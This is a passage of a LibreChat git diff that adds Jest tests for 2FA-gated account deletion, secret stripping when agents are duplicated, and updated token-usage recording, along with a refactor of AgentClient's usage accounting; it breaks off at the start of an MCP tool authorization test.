+const mockUpdateUserPlugins = jest.fn();
+const mockUpdateUser = jest.fn();
+const mockFindToken = jest.fn();
+const mockVerifyOTPOrBackupCode = jest.fn();
+const mockDeleteUserPluginAuth = jest.fn();
+const mockProcessDeleteRequest = jest.fn();
+const mockDeleteToolCalls = jest.fn();
+const mockDeleteUserAgents = jest.fn();
+const mockDeleteUserPrompts = jest.fn();
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { error: jest.fn(), info: jest.fn() },
+ webSearchKeys: [],
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ Tools: {},
+ CacheKeys: {},
+ Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' },
+ FileSources: {},
+}));
+
+jest.mock('@librechat/api', () => ({
+ MCPOAuthHandler: {},
+ MCPTokenStorage: {},
+ normalizeHttpError: jest.fn(),
+ extractWebSearchEnvVars: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args),
+ deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args),
+ updateUserPlugins: (...args) => mockUpdateUserPlugins(...args),
+ deleteUserById: (...args) => mockDeleteUserById(...args),
+ deleteMessages: (...args) => mockDeleteMessages(...args),
+ deletePresets: (...args) => mockDeletePresets(...args),
+ deleteUserKey: (...args) => mockDeleteUserKey(...args),
+ getUserById: (...args) => mockGetUserById(...args),
+ deleteConvos: (...args) => mockDeleteConvos(...args),
+ deleteFiles: (...args) => mockDeleteFiles(...args),
+ updateUser: (...args) => mockUpdateUser(...args),
+ findToken: (...args) => mockFindToken(...args),
+ getFiles: (...args) => mockGetFiles(...args),
+}));
+
+jest.mock('~/db/models', () => ({
+ ConversationTag: { deleteMany: jest.fn() },
+ AgentApiKey: { deleteMany: jest.fn() },
+ Transaction: { deleteMany: jest.fn() },
+ MemoryEntry: { deleteMany: jest.fn() },
+ Assistant: { deleteMany: jest.fn() },
+ AclEntry: { deleteMany: jest.fn() },
+ Balance: { deleteMany: jest.fn() },
+ Action: { deleteMany: jest.fn() },
+ Group: { updateMany: jest.fn() },
+ Token: { deleteMany: jest.fn() },
+ User: {},
+}));
+
+jest.mock('~/server/services/PluginService', () => ({
+ updateUserPluginAuth: jest.fn(),
+ deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args),
+}));
+
+jest.mock('~/server/services/twoFactorService', () => ({
+ verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
+}));
+
+jest.mock('~/server/services/AuthService', () => ({
+ verifyEmail: jest.fn(),
+ resendVerificationEmail: jest.fn(),
+}));
+
+jest.mock('~/config', () => ({
+ getMCPManager: jest.fn(),
+ getFlowStateManager: jest.fn(),
+ getMCPServersRegistry: jest.fn(),
+}));
+
+jest.mock('~/server/services/Config/getCachedTools', () => ({
+ invalidateCachedTools: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/S3/crud', () => ({
+ needsRefresh: jest.fn(),
+ getNewS3URL: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/process', () => ({
+ processDeleteRequest: (...args) => mockProcessDeleteRequest(...args),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+ getAppConfig: jest.fn(),
+}));
+
+jest.mock('~/models/ToolCall', () => ({
+ deleteToolCalls: (...args) => mockDeleteToolCalls(...args),
+}));
+
+jest.mock('~/models/Prompt', () => ({
+ deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args),
+}));
+
+jest.mock('~/models/Agent', () => ({
+ deleteUserAgents: (...args) => mockDeleteUserAgents(...args),
+}));
+
+jest.mock('~/cache', () => ({
+ getLogStores: jest.fn(),
+}));
+
+const { deleteUserController } = require('~/server/controllers/UserController');
+
+function createRes() {
+ const res = {};
+ res.status = jest.fn().mockReturnValue(res);
+ res.json = jest.fn().mockReturnValue(res);
+ res.send = jest.fn().mockReturnValue(res);
+ return res;
+}
+
+function stubDeletionMocks() {
+ mockDeleteMessages.mockResolvedValue();
+ mockDeleteAllUserSessions.mockResolvedValue();
+ mockDeleteUserKey.mockResolvedValue();
+ mockDeletePresets.mockResolvedValue();
+ mockDeleteConvos.mockResolvedValue();
+ mockDeleteUserPluginAuth.mockResolvedValue();
+ mockDeleteUserById.mockResolvedValue();
+ mockDeleteAllSharedLinks.mockResolvedValue();
+ mockGetFiles.mockResolvedValue([]);
+ mockProcessDeleteRequest.mockResolvedValue();
+ mockDeleteFiles.mockResolvedValue();
+ mockDeleteToolCalls.mockResolvedValue();
+ mockDeleteUserAgents.mockResolvedValue();
+ mockDeleteUserPrompts.mockResolvedValue();
+}
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ stubDeletionMocks();
+});
+
+describe('deleteUserController - 2FA enforcement', () => {
+ it('proceeds with deletion when 2FA is not enabled', async () => {
+ const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false });
+
+ await deleteUserController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ expect(mockDeleteMessages).toHaveBeenCalled();
+ expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+ });
+
+ it('proceeds with deletion when user has no 2FA record', async () => {
+ const req = { user: { id: 'user1', _id: 'user1', email: 'a@b.com' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(null);
+
+ await deleteUserController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ });
+
+ it('returns error when 2FA is enabled and verification fails with 400', async () => {
+ const req = { user: { id: 'user1', _id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+ await deleteUserController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ expect(mockDeleteMessages).not.toHaveBeenCalled();
+ });
+
+ it('returns 401 when 2FA is enabled and invalid TOTP token provided', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ };
+ const req = { user: { id: 'user1', _id: 'user1' }, body: { token: 'wrong' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: 'wrong',
+ backupCode: undefined,
+ });
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+ expect(mockDeleteMessages).not.toHaveBeenCalled();
+ });
+
+ it('returns 401 when 2FA is enabled and invalid backup code provided', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ backupCodes: [],
+ };
+ const req = { user: { id: 'user1', _id: 'user1' }, body: { backupCode: 'bad-code' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: undefined,
+ backupCode: 'bad-code',
+ });
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(mockDeleteMessages).not.toHaveBeenCalled();
+ });
+
+ it('deletes account when valid TOTP token provided with 2FA enabled', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ };
+ const req = {
+ user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
+ body: { token: '123456' },
+ };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: '123456',
+ backupCode: undefined,
+ });
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ expect(mockDeleteMessages).toHaveBeenCalled();
+ });
+
+ it('deletes account when valid backup code provided with 2FA enabled', async () => {
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ backupCodes: [{ codeHash: 'h1', used: false }],
+ };
+ const req = {
+ user: { id: 'user1', _id: 'user1', email: 'a@b.com' },
+ body: { backupCode: 'valid-code' },
+ };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+
+ await deleteUserController(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: undefined,
+ backupCode: 'valid-code',
+ });
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith({ message: 'User deleted' });
+ expect(mockDeleteMessages).toHaveBeenCalled();
+ });
+});
diff --git a/api/server/controllers/agents/__tests__/openai.spec.js b/api/server/controllers/agents/__tests__/openai.spec.js
index 8592c79a2d..835343e798 100644
--- a/api/server/controllers/agents/__tests__/openai.spec.js
+++ b/api/server/controllers/agents/__tests__/openai.spec.js
@@ -82,6 +82,13 @@ jest.mock('~/models/spendTokens', () => ({
spendStructuredTokens: mockSpendStructuredTokens,
}));
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
jest.mock('~/server/controllers/agents/callbacks', () => ({
createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
}));
@@ -103,6 +110,8 @@ jest.mock('~/models/Agent', () => ({
getAgents: jest.fn().mockResolvedValue([]),
}));
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
getFiles: jest.fn(),
getUserKey: jest.fn(),
@@ -112,6 +121,8 @@ jest.mock('~/models', () => ({
getUserCodeFiles: jest.fn(),
getToolFilesByIds: jest.fn(),
getCodeGeneratedFiles: jest.fn(),
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
}));
describe('OpenAIChatCompletionController', () => {
@@ -155,7 +166,15 @@ describe('OpenAIChatCompletionController', () => {
expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
+ {
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+ pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
expect.objectContaining({
user: 'user-123',
conversationId: expect.any(String),
@@ -182,12 +201,18 @@ describe('OpenAIChatCompletionController', () => {
);
});
- it('should pass spendTokens and spendStructuredTokens as dependencies', async () => {
+ it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
await OpenAIChatCompletionController(req, res);
const [deps] = mockRecordCollectedUsage.mock.calls[0];
expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
+ expect(deps).toHaveProperty('pricing');
+ expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
+ expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
+ expect(deps).toHaveProperty('bulkWriteOps');
+ expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
+ expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
});
it('should include model from primaryConfig in recordCollectedUsage params', async () => {
diff --git a/api/server/controllers/agents/__tests__/responses.unit.spec.js b/api/server/controllers/agents/__tests__/responses.unit.spec.js
index e16ca394b2..45ec31fc68 100644
--- a/api/server/controllers/agents/__tests__/responses.unit.spec.js
+++ b/api/server/controllers/agents/__tests__/responses.unit.spec.js
@@ -106,6 +106,13 @@ jest.mock('~/models/spendTokens', () => ({
spendStructuredTokens: mockSpendStructuredTokens,
}));
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
jest.mock('~/server/controllers/agents/callbacks', () => ({
createToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
createResponsesToolEndCallback: jest.fn().mockReturnValue(jest.fn()),
@@ -131,6 +138,8 @@ jest.mock('~/models/Agent', () => ({
getAgents: jest.fn().mockResolvedValue([]),
}));
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
getFiles: jest.fn(),
getUserKey: jest.fn(),
@@ -141,6 +150,8 @@ jest.mock('~/models', () => ({
getUserCodeFiles: jest.fn(),
getToolFilesByIds: jest.fn(),
getCodeGeneratedFiles: jest.fn(),
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
}));
describe('createResponse controller', () => {
@@ -184,7 +195,15 @@ describe('createResponse controller', () => {
expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
+ {
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+ pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
expect.objectContaining({
user: 'user-123',
conversationId: expect.any(String),
@@ -209,12 +228,18 @@ describe('createResponse controller', () => {
);
});
- it('should pass spendTokens and spendStructuredTokens as dependencies', async () => {
+ it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => {
await createResponse(req, res);
const [deps] = mockRecordCollectedUsage.mock.calls[0];
expect(deps).toHaveProperty('spendTokens', mockSpendTokens);
expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens);
+ expect(deps).toHaveProperty('pricing');
+ expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier);
+ expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier);
+ expect(deps).toHaveProperty('bulkWriteOps');
+ expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions);
+ expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance);
});
it('should include model from primaryConfig in recordCollectedUsage params', async () => {
@@ -244,7 +269,15 @@ describe('createResponse controller', () => {
expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
- { spendTokens: mockSpendTokens, spendStructuredTokens: mockSpendStructuredTokens },
+ {
+ spendTokens: mockSpendTokens,
+ spendStructuredTokens: mockSpendStructuredTokens,
+ pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
expect.objectContaining({
user: 'user-123',
context: 'message',
diff --git a/api/server/controllers/agents/__tests__/v1.duplicate-actions.spec.js b/api/server/controllers/agents/__tests__/v1.duplicate-actions.spec.js
new file mode 100644
index 0000000000..cc298bd03a
--- /dev/null
+++ b/api/server/controllers/agents/__tests__/v1.duplicate-actions.spec.js
@@ -0,0 +1,159 @@
+jest.mock('~/server/services/PermissionService', () => ({
+ findPubliclyAccessibleResources: jest.fn(),
+ findAccessibleResources: jest.fn(),
+ hasPublicPermission: jest.fn(),
+ grantPermission: jest.fn().mockResolvedValue({}),
+}));
+
+jest.mock('~/server/services/Config', () => ({
+ getCachedTools: jest.fn(),
+ getMCPServerTools: jest.fn(),
+}));
+
+const mongoose = require('mongoose');
+const { actionDelimiter } = require('librechat-data-provider');
+const { agentSchema, actionSchema } = require('@librechat/data-schemas');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const { duplicateAgent } = require('../v1');
+
+let mongoServer;
+
+beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ const mongoUri = mongoServer.getUri();
+ if (!mongoose.models.Agent) {
+ mongoose.model('Agent', agentSchema);
+ }
+ if (!mongoose.models.Action) {
+ mongoose.model('Action', actionSchema);
+ }
+ await mongoose.connect(mongoUri);
+}, 20000);
+
+afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+});
+
+beforeEach(async () => {
+ await mongoose.models.Agent.deleteMany({});
+ await mongoose.models.Action.deleteMany({});
+});
+
+describe('duplicateAgentHandler — action domain extraction', () => {
+ it('builds duplicated action entries using metadata.domain, not action_id', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const originalAgentId = `agent_original`;
+
+ const agent = await mongoose.models.Agent.create({
+ id: originalAgentId,
+ name: 'Test Agent',
+ author: userId.toString(),
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: [],
+ actions: [`api.example.com${actionDelimiter}act_original`],
+ versions: [{ name: 'Test Agent', createdAt: new Date(), updatedAt: new Date() }],
+ });
+
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_original',
+ agent_id: originalAgentId,
+ metadata: { domain: 'api.example.com' },
+ });
+
+ const req = {
+ params: { id: agent.id },
+ user: { id: userId.toString() },
+ };
+ const res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ };
+
+ await duplicateAgent(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(201);
+
+ const { agent: newAgent, actions: newActions } = res.json.mock.calls[0][0];
+
+ expect(newAgent.id).not.toBe(originalAgentId);
+ expect(String(newAgent.author)).toBe(userId.toString());
+ expect(newActions).toHaveLength(1);
+ expect(newActions[0].metadata.domain).toBe('api.example.com');
+ expect(newActions[0].agent_id).toBe(newAgent.id);
+
+ for (const actionEntry of newAgent.actions) {
+ const [domain, actionId] = actionEntry.split(actionDelimiter);
+ expect(domain).toBe('api.example.com');
+ expect(actionId).toBeTruthy();
+ expect(actionId).not.toBe('act_original');
+ }
+
+ const allActions = await mongoose.models.Action.find({}).lean();
+ expect(allActions).toHaveLength(2);
+
+ const originalAction = allActions.find((a) => a.action_id === 'act_original');
+ expect(originalAction.agent_id).toBe(originalAgentId);
+
+ const duplicatedAction = allActions.find((a) => a.action_id !== 'act_original');
+ expect(duplicatedAction.agent_id).toBe(newAgent.id);
+ expect(duplicatedAction.metadata.domain).toBe('api.example.com');
+ });
+
+ it('strips sensitive metadata fields from duplicated actions', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const originalAgentId = 'agent_sensitive';
+
+ await mongoose.models.Agent.create({
+ id: originalAgentId,
+ name: 'Sensitive Agent',
+ author: userId.toString(),
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: [],
+ actions: [`secure.api.com${actionDelimiter}act_secret`],
+ versions: [{ name: 'Sensitive Agent', createdAt: new Date(), updatedAt: new Date() }],
+ });
+
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_secret',
+ agent_id: originalAgentId,
+ metadata: {
+ domain: 'secure.api.com',
+ api_key: 'sk-secret-key-12345',
+ oauth_client_id: 'client_id_xyz',
+ oauth_client_secret: 'client_secret_xyz',
+ },
+ });
+
+ const req = {
+ params: { id: originalAgentId },
+ user: { id: userId.toString() },
+ };
+ const res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ };
+
+ await duplicateAgent(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(201);
+
+ const duplicatedAction = await mongoose.models.Action.findOne({
+ agent_id: { $ne: originalAgentId },
+ }).lean();
+
+ expect(duplicatedAction.metadata.domain).toBe('secure.api.com');
+ expect(duplicatedAction.metadata.api_key).toBeUndefined();
+ expect(duplicatedAction.metadata.oauth_client_id).toBeUndefined();
+ expect(duplicatedAction.metadata.oauth_client_secret).toBeUndefined();
+
+ const originalAction = await mongoose.models.Action.findOne({
+ action_id: 'act_secret',
+ }).lean();
+ expect(originalAction.metadata.api_key).toBe('sk-secret-key-12345');
+ });
+});
diff --git a/api/server/controllers/agents/client.js b/api/server/controllers/agents/client.js
index 49240a6b3b..c454bd65cf 100644
--- a/api/server/controllers/agents/client.js
+++ b/api/server/controllers/agents/client.js
@@ -13,11 +13,12 @@ const {
createSafeUser,
initializeAgent,
getBalanceConfig,
- getProviderConfig,
omitTitleOptions,
+ getProviderConfig,
memoryInstructions,
- applyContextToAgent,
createTokenCounter,
+ applyContextToAgent,
+ recordCollectedUsage,
GenerationJobManager,
getTransactionsConfig,
createMemoryProcessor,
@@ -43,8 +44,11 @@ const {
isEphemeralAgentId,
removeNullishValues,
} = require('librechat-data-provider');
+const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
const { encodeAndFormat } = require('~/server/services/Files/images/encode');
+const { updateBalance, bulkInsertTransactions } = require('~/models');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const { createContextHandlers } = require('~/app/clients/prompts');
const { getConvoFiles } = require('~/models/Conversation');
const BaseClient = require('~/app/clients/BaseClient');
@@ -476,6 +480,7 @@ class AgentClient extends BaseClient {
getUserKeyValues: db.getUserKeyValues,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
+ filterFilesByAgentAccess,
},
);
@@ -624,82 +629,29 @@ class AgentClient extends BaseClient {
context = 'message',
collectedUsage = this.collectedUsage,
}) {
- if (!collectedUsage || !collectedUsage.length) {
- return;
- }
- // Use first entry's input_tokens as the base input (represents initial user message context)
- // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
- const firstUsage = collectedUsage[0];
- const input_tokens =
- (firstUsage?.input_tokens || 0) +
- (Number(firstUsage?.input_token_details?.cache_creation) ||
- Number(firstUsage?.cache_creation_input_tokens) ||
- 0) +
- (Number(firstUsage?.input_token_details?.cache_read) ||
- Number(firstUsage?.cache_read_input_tokens) ||
- 0);
-
- // Sum output_tokens directly from all entries - works for both sequential and parallel execution
- // This avoids the incremental calculation that produced negative values for parallel agents
- let total_output_tokens = 0;
-
- for (const usage of collectedUsage) {
- if (!usage) {
- continue;
- }
-
- // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
- const cache_creation =
- Number(usage.input_token_details?.cache_creation) ||
- Number(usage.cache_creation_input_tokens) ||
- 0;
- const cache_read =
- Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
-
- // Accumulate output tokens for the usage summary
- total_output_tokens += Number(usage.output_tokens) || 0;
-
- const txMetadata = {
+ const result = await recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
+ },
+ {
+ user: this.user ?? this.options.req.user?.id,
+ conversationId: this.conversationId,
+ collectedUsage,
+ model: model ?? this.model ?? this.options.agent.model_parameters.model,
context,
+ messageId: this.responseMessageId,
balance,
transactions,
- conversationId: this.conversationId,
- user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
- model: usage.model ?? model ?? this.model ?? this.options.agent.model_parameters.model,
- };
+ },
+ );
- if (cache_creation > 0 || cache_read > 0) {
- spendStructuredTokens(txMetadata, {
- promptTokens: {
- input: usage.input_tokens,
- write: cache_creation,
- read: cache_read,
- },
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error(
- '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending structured tokens',
- err,
- );
- });
- continue;
- }
- spendTokens(txMetadata, {
- promptTokens: usage.input_tokens,
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error(
- '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending tokens',
- err,
- );
- });
+ if (result) {
+ this.usage = result;
}
-
- this.usage = {
- input_tokens,
- output_tokens: total_output_tokens,
- };
}
/**
@@ -891,9 +843,10 @@ class AgentClient extends BaseClient {
config.signal = null;
};
+ const hideSequentialOutputs = config.configurable.hide_sequential_outputs;
await runAgents(initialMessages);
/** @deprecated Agent Chain */
- if (config.configurable.hide_sequential_outputs) {
+ if (hideSequentialOutputs) {
this.contentParts = this.contentParts.filter((part, index) => {
// Include parts that are either:
// 1. At or after the finalContentStart index
@@ -1147,6 +1100,7 @@ class AgentClient extends BaseClient {
model: clientOptions.model,
balance: balanceConfig,
transactions: transactionsConfig,
+ messageId: this.responseMessageId,
}).catch((err) => {
logger.error(
'[api/server/controllers/agents/client.js #titleConvo] Error recording collected usage',
@@ -1185,6 +1139,7 @@ class AgentClient extends BaseClient {
model,
context,
balance,
+ messageId: this.responseMessageId,
conversationId: this.conversationId,
user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1203,6 +1158,7 @@ class AgentClient extends BaseClient {
model,
balance,
context: 'reasoning',
+ messageId: this.responseMessageId,
conversationId: this.conversationId,
user: this.user ?? this.options.req.user?.id,
endpointTokenConfig: this.options.endpointTokenConfig,
@@ -1218,7 +1174,11 @@ class AgentClient extends BaseClient {
}
}
+ /** Anthropic Claude models use a distinct BPE tokenizer; all others default to o200k_base. */
getEncoding() {
+ if (this.model && this.model.toLowerCase().includes('claude')) {
+ return 'claude';
+ }
return 'o200k_base';
}
diff --git a/api/server/controllers/agents/client.test.js b/api/server/controllers/agents/client.test.js
index 9dd3567047..42481e1644 100644
--- a/api/server/controllers/agents/client.test.js
+++ b/api/server/controllers/agents/client.test.js
@@ -263,6 +263,7 @@ describe('AgentClient - titleConvo', () => {
transactions: {
enabled: true,
},
+ messageId: 'response-123',
});
});
diff --git a/api/server/controllers/agents/filterAuthorizedTools.spec.js b/api/server/controllers/agents/filterAuthorizedTools.spec.js
new file mode 100644
index 0000000000..259e41fb0d
--- /dev/null
+++ b/api/server/controllers/agents/filterAuthorizedTools.spec.js
@@ -0,0 +1,677 @@
+const mongoose = require('mongoose');
+const { v4: uuidv4 } = require('uuid');
+const { Constants } = require('librechat-data-provider');
+const { agentSchema } = require('@librechat/data-schemas');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+
+const d = Constants.mcp_delimiter;
+
+const mockGetAllServerConfigs = jest.fn();
+
+jest.mock('~/server/services/Config', () => ({
+ getCachedTools: jest.fn().mockResolvedValue({
+ web_search: true,
+ execute_code: true,
+ file_search: true,
+ }),
+}));
+
+jest.mock('~/config', () => ({
+ getMCPServersRegistry: jest.fn(() => ({
+ getAllServerConfigs: mockGetAllServerConfigs,
+ })),
+}));
+
+jest.mock('~/models/Project', () => ({
+ getProjectByName: jest.fn().mockResolvedValue(null),
+}));
+
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/images/avatar', () => ({
+ resizeAvatar: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/S3/crud', () => ({
+ refreshS3Url: jest.fn(),
+}));
+
+jest.mock('~/server/services/Files/process', () => ({
+ filterFile: jest.fn(),
+}));
+
+jest.mock('~/models/Action', () => ({
+ updateAction: jest.fn(),
+ getActions: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/models/File', () => ({
+ deleteFileByFilter: jest.fn(),
+}));
+
+jest.mock('~/server/services/PermissionService', () => ({
+ findAccessibleResources: jest.fn().mockResolvedValue([]),
+ findPubliclyAccessibleResources: jest.fn().mockResolvedValue([]),
+ grantPermission: jest.fn(),
+ hasPublicPermission: jest.fn().mockResolvedValue(false),
+ checkPermission: jest.fn().mockResolvedValue(true),
+}));
+
+jest.mock('~/models', () => ({
+ getCategoriesWithCounts: jest.fn(),
+}));
+
+jest.mock('~/cache', () => ({
+ getLogStores: jest.fn(() => ({
+ get: jest.fn(),
+ set: jest.fn(),
+ delete: jest.fn(),
+ })),
+}));
+
+const {
+ filterAuthorizedTools,
+ createAgent: createAgentHandler,
+ updateAgent: updateAgentHandler,
+ duplicateAgent: duplicateAgentHandler,
+ revertAgentVersion: revertAgentVersionHandler,
+} = require('./v1');
+
+const { getMCPServersRegistry } = require('~/config');
+
+let Agent;
+
+describe('MCP Tool Authorization', () => {
+ let mongoServer;
+ let mockReq;
+ let mockRes;
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ const mongoUri = mongoServer.getUri();
+ await mongoose.connect(mongoUri);
+ Agent = mongoose.models.Agent || mongoose.model('Agent', agentSchema);
+ }, 20000);
+
+ afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await Agent.deleteMany({});
+ jest.clearAllMocks();
+
+ getMCPServersRegistry.mockImplementation(() => ({
